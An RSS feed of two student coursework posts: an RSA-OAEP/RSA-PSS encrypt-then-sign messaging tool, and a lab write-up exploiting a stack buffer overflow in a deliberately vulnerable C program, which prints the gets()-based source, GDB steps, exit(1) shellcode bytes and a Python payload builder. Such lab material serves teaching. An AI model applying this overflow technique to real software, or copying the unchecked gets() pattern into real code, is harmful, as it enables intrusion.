<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Bettina Ligero</title>
    <description>The latest articles on Forem by Bettina Ligero (@bttnlight).</description>
    <link>https://forem.com/bttnlight</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3812798%2F0d8b30c8-f5e2-41c5-972a-bf92172783ea.png</url>
      <title>Forem: Bettina Ligero</title>
      <link>https://forem.com/bttnlight</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/bttnlight"/>
    <language>en</language>
    <item>
      <title>RSA-OAEP Encrypt-then-Sign Messaging Tool</title>
      <dc:creator>Bettina Ligero</dc:creator>
      <pubDate>Fri, 24 Apr 2026 14:54:16 +0000</pubDate>
      <link>https://forem.com/bttnlight/rsa-oaep-encrypt-then-sign-messaging-tool-4f8a</link>
      <guid>https://forem.com/bttnlight/rsa-oaep-encrypt-then-sign-messaging-tool-4f8a</guid>
      <description>&lt;p&gt;&lt;strong&gt;Machine Problem 2&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;Group Members:&lt;/strong&gt; Deen, Ligero, Torres&lt;/p&gt;


&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;This machine problem involved designing and implementing a secure messaging system using public-key cryptography. Unlike the previous exercise—where the goal was to &lt;em&gt;break&lt;/em&gt; a program's security—this one required building security in from the ground up.&lt;/p&gt;

&lt;p&gt;The objective was to construct a command-line tool that allows users to exchange messages with two guarantees:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Confidentiality&lt;/strong&gt; – only the intended recipient can read the message&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Authenticity&lt;/strong&gt; – the recipient can verify who sent it&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To achieve both properties simultaneously, the program follows an &lt;strong&gt;Encrypt-then-Sign&lt;/strong&gt; construction: the message is first encrypted using RSA-OAEP, and the resulting ciphertext is then digitally signed using RSA-PSS. This ordering ensures that the signature covers the ciphertext itself, protecting against certain classes of attacks where a valid ciphertext could be re-signed by a malicious third party.&lt;/p&gt;


&lt;h2&gt;
  
  
  The Cryptographic Scheme
&lt;/h2&gt;

&lt;p&gt;The tool is built on two well-established RSA schemes, both using SHA-256 as the underlying hash function.&lt;/p&gt;
&lt;h3&gt;
  
  
  RSA-OAEP (Encryption)
&lt;/h3&gt;

&lt;p&gt;RSA-OAEP (Optimal Asymmetric Encryption Padding) is used to encrypt the plaintext message. Raw RSA encryption is deterministic and vulnerable to chosen-plaintext attacks. OAEP adds randomized padding before encryption, making repeated encryptions of the same message produce different ciphertexts and significantly hardening the scheme against cryptanalysis.&lt;/p&gt;

&lt;p&gt;The sender encrypts using the &lt;strong&gt;recipient's public encryption key&lt;/strong&gt;. Only the recipient—who holds the matching private key—can decrypt it.&lt;/p&gt;
&lt;h3&gt;
  
  
  RSA-PSS (Signing)
&lt;/h3&gt;

&lt;p&gt;RSA-PSS (Probabilistic Signature Scheme) is used to sign the encrypted message. Like OAEP, PSS incorporates randomness into the padding process, making it provably secure under standard hardness assumptions.&lt;/p&gt;

&lt;p&gt;The sender signs using their &lt;strong&gt;own private signing key&lt;/strong&gt;. Anyone with the sender's public signing key can verify the signature—but only the legitimate sender could have produced it.&lt;/p&gt;
&lt;h3&gt;
  
  
  Why Separate Keys?
&lt;/h3&gt;

&lt;p&gt;A deliberate design choice was made to use separate key pairs for encryption and signing. While it is technically possible to reuse a single RSA key pair for both operations, this practice weakens the security boundaries between the two roles. Dedicated keys ensure that a compromise of one key does not automatically compromise the other, and it aligns with real-world standards such as X.509 certificate profiles and PGP key conventions.&lt;/p&gt;


&lt;h2&gt;
  
  
  Key Generation and the Directory
&lt;/h2&gt;

&lt;p&gt;Each user generates two RSA key pairs (4096-bit): one for encryption and one for signing. The private keys are stored locally in a &lt;code&gt;keys/&lt;/code&gt; directory. The corresponding public keys are registered in a shared &lt;code&gt;directory.json&lt;/code&gt; file, which acts as a simple public key infrastructure (PKI).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python mp2.py genkey alice
python mp2.py genkey bob
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After registration, public keys can be inspected by any user:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python mp2.py list       &lt;span class="c"&gt;# lists all registered identities&lt;/span&gt;
python mp2.py lookup alice  &lt;span class="c"&gt;# displays alice's public keys&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;directory.json&lt;/code&gt; file is a flat JSON structure mapping each identity to its public encryption and signing keys in PEM format. While functional for this exercise, this approach has a notable limitation discussed later.&lt;/p&gt;




&lt;h2&gt;
  
  
  Encrypting and Signing a Message
&lt;/h2&gt;

&lt;p&gt;To send a message, the sender specifies their own identity, the recipient's identity, and the plaintext:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python mp2.py encrypt-sign alice bob &lt;span class="s2"&gt;"Hello Bob!"&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; msg.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Internally, this performs the following steps:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Retrieve the recipient's public encryption key&lt;/strong&gt; from &lt;code&gt;directory.json&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Encrypt the plaintext&lt;/strong&gt; using RSA-OAEP with the recipient's key&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Retrieve the sender's private signing key&lt;/strong&gt; from local storage&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sign the ciphertext&lt;/strong&gt; using RSA-PSS with the sender's key&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bundle the result&lt;/strong&gt; into a JSON file containing the ciphertext, the signature, and the sender's identity&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The output &lt;code&gt;msg.json&lt;/code&gt; contains no plaintext—only the encrypted blob, the signature over that blob, and metadata identifying the sender.&lt;/p&gt;




&lt;h2&gt;
  
  
  Verifying and Decrypting
&lt;/h2&gt;

&lt;p&gt;The recipient processes the message with:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python mp2.py verify-decrypt bob msg.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This performs the operations in reverse:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Look up the sender's public signing key&lt;/strong&gt; from &lt;code&gt;directory.json&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Verify the signature&lt;/strong&gt; over the ciphertext using RSA-PSS&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;If verification passes&lt;/strong&gt;, decrypt the ciphertext using the recipient's private key&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Output the plaintext&lt;/strong&gt; message&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Verified decryption:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fygjjqoilz86oieks3cgd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fygjjqoilz86oieks3cgd.png" alt=" "&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If any part of the message bundle has been modified—ciphertext, signature, or sender identity—the PSS verification step will fail, and the program halts with an error before any decryption is attempted. This is the key security property of the Encrypt-then-Sign construction: tampering is caught at the verification stage, not silently tolerated.&lt;/p&gt;




&lt;h2&gt;
  
  
  File Structure
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;.
├── mp2.py
├── keys/
│   ├── &amp;lt;identity&amp;gt;_enc_priv.pem
│   ├── &amp;lt;identity&amp;gt;_enc_pub.pem
│   ├── &amp;lt;identity&amp;gt;_sign_priv.pem
│   └── &amp;lt;identity&amp;gt;_sign_pub.pem
├── directory.json
└── msg.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Results
&lt;/h2&gt;

&lt;p&gt;Testing the system end-to-end with valid keys and identities produced the expected behavior in all cases:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A message encrypted for &lt;code&gt;bob&lt;/code&gt; could only be decrypted by &lt;code&gt;bob&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;A message signed by &lt;code&gt;alice&lt;/code&gt; was verified using &lt;code&gt;alice&lt;/code&gt;'s public key&lt;/li&gt;
&lt;li&gt;Any modification to the ciphertext or signature caused verification to fail immediately&lt;/li&gt;
&lt;li&gt;Attempting to decrypt with the wrong private key produced a decryption error&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The tool correctly enforces the two core security guarantees: only the intended recipient can read the message, and the recipient can confirm who sent it.&lt;/p&gt;




&lt;h2&gt;
  
  
  Limitations
&lt;/h2&gt;

&lt;p&gt;The implementation has several constraints worth noting:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Message size.&lt;/strong&gt; RSA-OAEP with SHA-256 and a 4096-bit key can encrypt at most around 446 bytes. The program enforces a &lt;strong&gt;140-character plaintext limit&lt;/strong&gt; to remain within this bound. A more practical system would use &lt;strong&gt;hybrid encryption&lt;/strong&gt;—generate a random AES session key, encrypt the message with AES, and then encrypt only the session key with RSA. This approach removes the message size constraint while preserving the security properties of RSA.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Directory trust.&lt;/strong&gt; The &lt;code&gt;directory.json&lt;/code&gt; file has no authentication mechanism. A malicious actor with write access to the directory could substitute their own public key under another user's identity—a classic &lt;strong&gt;key substitution attack&lt;/strong&gt;. Real PKI systems address this with certificate authorities, web-of-trust models, or out-of-band key verification.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;No forward secrecy.&lt;/strong&gt; Because the same long-lived RSA keys are used for every message, a future compromise of a private key would expose all previously recorded ciphertexts. Systems requiring stronger security guarantees often combine asymmetric key exchange with ephemeral session keys (as in TLS or Signal's Double Ratchet protocol).&lt;/p&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;This machine problem demonstrated how public-key cryptography can be composed to provide both confidentiality and authenticity in a messaging system. The Encrypt-then-Sign construction—using RSA-OAEP for encryption and RSA-PSS for signing—produced a tool that correctly protects messages against eavesdropping and detects any tampering before decryption is attempted.&lt;/p&gt;

&lt;p&gt;Separating encryption and signing into distinct key pairs was the most consequential design decision, as it follows established cryptographic hygiene and prevents cross-role key misuse. While the current implementation has practical limitations around message size and directory security, it cleanly illustrates the fundamental principles underlying modern secure messaging protocols.&lt;/p&gt;




&lt;h2&gt;
  
  
  Requirements
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Python 3&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;cryptography&lt;/code&gt; library — install with:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install &lt;/span&gt;cryptography
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Key addresses and file paths may differ across environments. If transferring keys between systems, ensure the &lt;code&gt;directory.json&lt;/code&gt; and &lt;code&gt;keys/&lt;/code&gt; directory are synchronized between participants.&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>security</category>
      <category>cryptography</category>
    </item>
    <item>
      <title>Exploiting a Stack Buffer Overflow to Force Program Termination</title>
      <dc:creator>Bettina Ligero</dc:creator>
      <pubDate>Wed, 11 Mar 2026 12:07:56 +0000</pubDate>
      <link>https://forem.com/bttnlight/exploiting-a-stack-buffer-overflow-to-force-program-termination-55nk</link>
      <guid>https://forem.com/bttnlight/exploiting-a-stack-buffer-overflow-to-force-program-termination-55nk</guid>
      <description>&lt;p&gt;&lt;strong&gt;Machine Problem 1&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;Group Members:&lt;/strong&gt; Deen, Ligero, Torres&lt;/p&gt;


&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;This machine problem involved analyzing and exploiting a deliberately vulnerable C program. Under normal execution, the program reads a line of input and then enters an infinite loop, preventing it from terminating on its own. The objective of the exercise was to exploit a stack-based buffer overflow vulnerability to force the program to exit with a status code of &lt;strong&gt;1&lt;/strong&gt;, without modifying the original source code.&lt;/p&gt;

&lt;p&gt;Achieving this required constructing a carefully crafted binary payload, commonly referred to as &lt;strong&gt;shellcode&lt;/strong&gt;, that would overwrite the program’s return address on the stack. By redirecting execution to this injected code, the exploit could hijack the program’s control flow at the assembly level and invoke the Linux &lt;code&gt;exit&lt;/code&gt; system call directly.&lt;/p&gt;
&lt;h2&gt;
  
  
  The Vulnerable Program
&lt;/h2&gt;

&lt;p&gt;The vulnerable program is shown below.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Source file:&lt;/strong&gt; &lt;code&gt;vuln.c&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;vuln&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="n"&gt;gets&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;vuln&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The vulnerability arises from the use of the &lt;code&gt;gets()&lt;/code&gt; function. Unlike safer input functions, &lt;code&gt;gets()&lt;/code&gt; performs &lt;strong&gt;no bounds checking&lt;/strong&gt; on the data it reads. Since the buffer declared in the program is only &lt;strong&gt;8 bytes long&lt;/strong&gt;, any input exceeding this length will overflow into adjacent memory on the stack.&lt;/p&gt;

&lt;p&gt;When a buffer overflow occurs in a stack frame, it can overwrite critical values such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;the &lt;strong&gt;saved base pointer (EBP)&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;the &lt;strong&gt;saved return address (EIP)&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;By overwriting the return address, an attacker can redirect execution to an arbitrary location in memory. In this assignment, the goal was to redirect execution to custom shellcode placed on the stack.&lt;/p&gt;

&lt;h2&gt;
  
  
  Build Configuration
&lt;/h2&gt;

&lt;p&gt;The program was compiled using the command specified in the assignment:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gcc &lt;span class="nt"&gt;-m32&lt;/span&gt; &lt;span class="nt"&gt;-fno-stack-protector&lt;/span&gt; &lt;span class="nt"&gt;-mpreferred-stack-boundary&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;2 &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-fno-pie&lt;/span&gt; &lt;span class="nt"&gt;-ggdb&lt;/span&gt; &lt;span class="nt"&gt;-z&lt;/span&gt; execstack &lt;span class="nt"&gt;-std&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;c99 vuln.c &lt;span class="nt"&gt;-o&lt;/span&gt; vuln
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Several compilation flags were intentionally used to simplify exploitation:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;-m32&lt;/code&gt;&lt;/strong&gt; – Compiles the program as a 32-bit binary, allowing the use of the simpler &lt;code&gt;int 0x80&lt;/code&gt; Linux syscall interface.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;-fno-stack-protector&lt;/code&gt;&lt;/strong&gt; – Disables stack canaries that normally detect buffer overflows.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;-mpreferred-stack-boundary=2&lt;/code&gt;&lt;/strong&gt; – Simplifies stack alignment for more predictable memory layouts.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;-fno-pie&lt;/code&gt;&lt;/strong&gt; – Disables position-independent execution so code addresses remain fixed.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;-z execstack&lt;/code&gt;&lt;/strong&gt; – Marks the stack as executable, allowing injected shellcode to run.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;-ggdb&lt;/code&gt;&lt;/strong&gt; – Includes debugging symbols to aid analysis in GDB.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Together, these settings create an environment where stack-based exploitation can be demonstrated more clearly.&lt;/p&gt;

&lt;h2&gt;
  
  
  Discovering the Stack Layout
&lt;/h2&gt;

&lt;p&gt;To determine where the buffer resides in memory, the program was inspected using &lt;strong&gt;GDB&lt;/strong&gt;. A breakpoint was placed at the beginning of the &lt;code&gt;vuln()&lt;/code&gt; function:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;break vuln
run
print &amp;amp;buffer
info frame
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This revealed that the buffer was located at the address:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;0xffffcf38
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Based on the observed stack layout, the exploit payload was structured as follows:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;8 bytes of filler&lt;/strong&gt; – fills the buffer&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;4 bytes of filler&lt;/strong&gt; – overwrites the saved EBP&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;4 bytes&lt;/strong&gt; – overwrites the return address&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;8 bytes of shellcode&lt;/strong&gt; – placed immediately after the return address&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The return address was set to &lt;strong&gt;&lt;code&gt;BUFFER_ADDR + 16&lt;/code&gt;&lt;/strong&gt;, which points to the start of the shellcode. This offset corresponds to the total number of bytes preceding the shellcode in the payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;8 (buffer) + 4 (saved EBP) + 4 (return address) = 16
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Shellcode Design
&lt;/h2&gt;

&lt;p&gt;The shellcode’s purpose was to invoke the Linux system call:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In 32-bit Linux, system calls are triggered using the &lt;code&gt;int 0x80&lt;/code&gt; instruction. The syscall number is stored in the &lt;code&gt;EAX&lt;/code&gt; register, while the first argument is placed in &lt;code&gt;EBX&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;For the &lt;code&gt;exit&lt;/code&gt; syscall:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;EAX = 1&lt;/code&gt; (syscall number)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;EBX = 1&lt;/code&gt; (exit status)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The assembly code used was:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;xor %eax, %eax
inc %eax
xor %ebx, %ebx
inc %ebx
int 0x80
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This sequence:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Clears both registers&lt;/li&gt;
&lt;li&gt;Sets &lt;code&gt;EAX&lt;/code&gt; to the &lt;code&gt;exit&lt;/code&gt; syscall number&lt;/li&gt;
&lt;li&gt;Sets &lt;code&gt;EBX&lt;/code&gt; to the desired exit code&lt;/li&gt;
&lt;li&gt;Invokes the kernel&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The corresponding machine code bytes are:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;31 c0 40 31 db 43 cd 80
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These bytes were verified by assembling a test file and examining the output using &lt;code&gt;objdump&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Constructing the Exploit Payload
&lt;/h2&gt;

&lt;p&gt;To automate payload creation, a Python script (&lt;code&gt;exploit.py&lt;/code&gt;) was written:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;

&lt;span class="n"&gt;BUFFER_ADDR&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0xffffc818&lt;/span&gt;
&lt;span class="n"&gt;SHELLCODE&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x31\xc0\x40\x31\xdb\x43\xcd\x80&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="n"&gt;payload&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;VAPOREON&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;EEVE&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;I&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;BUFFER_ADDR&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;SHELLCODE&lt;/span&gt;

&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;egg&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;wb&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The payload consists of:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;"VAPOREON"&lt;/code&gt; – fills the 8-byte buffer&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;"EEVE"&lt;/code&gt; – overwrites the saved base pointer&lt;/li&gt;
&lt;li&gt;the calculated return address&lt;/li&gt;
&lt;li&gt;the shellcode&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The return address is encoded using:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;I&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This ensures the address is stored in &lt;strong&gt;little-endian format&lt;/strong&gt;, which is required by x86 architectures.&lt;/p&gt;

&lt;p&gt;The final &lt;code&gt;egg&lt;/code&gt; file is &lt;strong&gt;24 bytes&lt;/strong&gt; long.&lt;/p&gt;

&lt;p&gt;Hex representation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;56 41 50 4f 52 45 4f 4e   ← buffer fill
45 45 56 45               ← saved EBP overwrite
28 c8 ff ff               ← return address
31 c0 40 31 db 43 cd 80   ← shellcode
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Execution and Results
&lt;/h2&gt;

&lt;p&gt;The exploit was tested within GDB by redirecting the payload as standard input:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;set disable-randomization on
run &amp;lt; egg
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The program produced the following output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;[Inferior 1 (process 31619) exited with code 01]
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This confirms that the shellcode executed successfully and the program terminated with the required exit code.&lt;/p&gt;

&lt;p&gt;Proof artifact:&lt;br&gt;
